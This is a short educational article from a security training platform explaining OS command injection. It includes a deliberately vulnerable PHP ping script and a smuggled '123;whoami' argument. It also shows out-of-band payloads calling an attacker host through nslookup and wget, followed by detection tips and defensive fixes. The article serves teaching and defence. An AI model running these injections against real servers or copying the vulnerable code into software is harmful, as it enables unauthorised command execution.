Remote code execution or how to get your own server for free

Hacktory
4 min readJun 4, 2020

Command injection is a type of vulnerability that enables an adversary to execute arbitrary OS commands on the server through susceptible applications. These vulnerable applications begin to pass unsafe data, such as HTTP headers, forms, and cookies, supplied by the user to a system shell.

These attacks are possible usually because of insufficient input validation. An OS command injection can be prevented if proper measures are taken at the application design and development stages.

How it works?

The vulnerability can be discovered during code review. Check whether there are any command execution methods called and whether a non-validated user input is taken as data for those commands.

Let’s suppose we have the vuln.com website and the /ping.php script:

<?php
$ip=$_GET['ip'];
shell_exec('ping - c 4'.$ip);
?>

The script call the ping utility tool that sends requests to an IP address that is passed to the script as an argument. Following the ping request, the script returns command output to the screen.
Example of a call for the script with an argument ip=8.8.8.8:

vuln.com/ping.php?ip=8.8.8.8

The result of the command:

ping -c 4 8.8.8.8

However, if the user passes the 123;whoami value as an argument, the formed command will be like this:

ping -c 4 123;whoami

In this case, the ping -c 4 123 command will be executed first, and whoami – second.
There are different special characters that help splitting the command:

  • cmd1|cmd2 : command 2 will be executed depending on the successfulness of the command 1 execution; command 1 output will be passed to command 2
  • cmd1;cmd2 : command 2 will be executed regardless of the successfulness of command 1 execution
  • cmd1||cmd2 : command 2 will be executed only if command 1 is not executed
  • cmd1&&cmd2 : command 2 will be executed only if command 1 is successfully executed

How to find it?

The results of an injection may not be present in the server response. There are 3 basic situations:

  1. The result is in the server response.
  2. The result is not in the response, but we can tell if the injection was executed using indirect evidence right away.
  3. The result is not in the response, but we can tell if the injection was executed using indirect evidence after some time.

When you see the server response, you can use the commands id,whoami, and hostname.

Blind injection

The result of command execution is not always displayed at the page (blind injection). In this case, there are only indirect signs a command was executed (sleep, request to (our) external resource, etc.). One way or another, sleep, ping, and other commands that would take time for their execution, which can be traced.

Out-of-band

In some cases, we cannot use response delay to see if our command was executed. Thus, you have to make the vulnerable server perform a certain action. For example, make a DNS request with a specific host or initiate a request from the vulnerable host to our host.

Example

  • & nslookup askldh1892gpx0zxcnlkasd.attacker.com & - a DNS request with a specific name which can be traced by the attacker;
  • & wget 10.0.2.10:8192 &- an HTTP request to the attacker’s host which can also be traced.

Search in the source code

If you have access to the application’s source code, you can look for specific functions and classes responsible for command execution.

PHP:system, shell_exec, exec, proc_open, popen, eval, passthru

NodeJS:spawn, forc, exec, eval

Java:ProcessBuilder,Runtime.exec

C#:ProcessStartInfo,ParameterizedThreadStart,Process.Start,Exec

Common functions responsible for command execution also have predictable names. So, if you are faced with a programming language you do not know, you can search by words like exec, system, or command.

Example

Here’s a video sample of finding and explotation of RCE.

Fixes and prevention

All data passed to the user and sent for execution must be validated (must not hold any special characters). URLs and data in forms should be sanitized from unacceptable characters.

List of characters to be filtered:

< > & * ‘ | = ? ; [ ] ^ ~ ! . ” % @ / \ : + , `

To form a command to which user output will be passed, it is necessary to use special functions. In any programming language or framework, there are built-in APIs that not only address the issue but also are far safer. For example, ProcessBuilder (Java).

A web application and its components should follow the principle of least privilege. In case of a vulnerability being exploited, this will make it much more difficult for the adversary to get access to critical data.

Useful links

--

--

Hacktory

Hacktory are professional AppSec, Red and Blue Teams developing their game-based cybersecurity educational platform https://hacktory.ai/